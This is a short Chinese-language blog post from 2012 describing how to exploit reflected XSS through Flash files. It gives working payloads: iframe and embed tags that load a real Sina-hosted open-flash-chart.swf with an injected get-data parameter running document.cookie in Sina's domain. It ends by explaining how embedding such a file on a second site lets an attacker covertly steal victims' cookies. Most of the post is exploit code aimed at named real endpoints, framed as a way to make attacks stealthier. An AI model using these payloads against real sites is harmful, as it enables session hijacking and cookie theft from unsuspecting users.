基于flash的反射型xss的利用方法

gainover | 2012-06-08 16:47

昨天在测试WEBQQ的时候,利用了这个,回头又在本地测试了一下。

—————————————————-

在本地 localhost建一个页面,进行了以下测试。

通过iframe调用传统的反射型XSS,因为iframe页面不同域,被IE9过滤器过滤掉,不执行。

<code>

<iframe/src=”http://xsst.sinaapp.com/example/1-1.php?page=<script>alert(document.cookie)</script>”>

</code>

如果用普通的embed来嵌入FLASH的话,则弹出的是 localhost,即当前测试网页的cookies

IE下测试:chrome会崩溃.

<code>

<embed/src=”http://data.house.sina.com.cn/images/price_trend/open-flash-chart.swf?get-data=(function(){location.href=%22javascript:'<script>alert(document.cookie)</script>’%22})()”allowscriptaccess=”always”></embed>

</code>

但是用iframe来嵌入FLASH XSS的话,就有意思了

测试代码如下(IE):

<iframe/src=”http://data.house.sina.com.cn/images/price_trend/open-flash-chart.swf?get-data=(function(){location.href=%22javascript:'<script>alert(document.cookie)</script>’%22})()”></iframe>

在chrome中,可能会导致浏览器崩溃,可以改用以下代码。

<iframe/src=”http://data.house.sina.com.cn/images/price_trend/open-flash-chart.swf?get-data=(function(){alert(document.cookie)})()”></iframe>

运行你会发现,弹出的是新浪域的cookies~

——————————————

因此当我们发现 www.A.com 域名下的一个flash XSS

我们可以在 www.B.com域名下用iframe嵌入www.A.com的flash XSS文件。

当受害者,打开了www.B.com的域名时,我们可以成功获取其在www.A.com的cookies数据!

这样一来,攻击就变得更加隐蔽啦~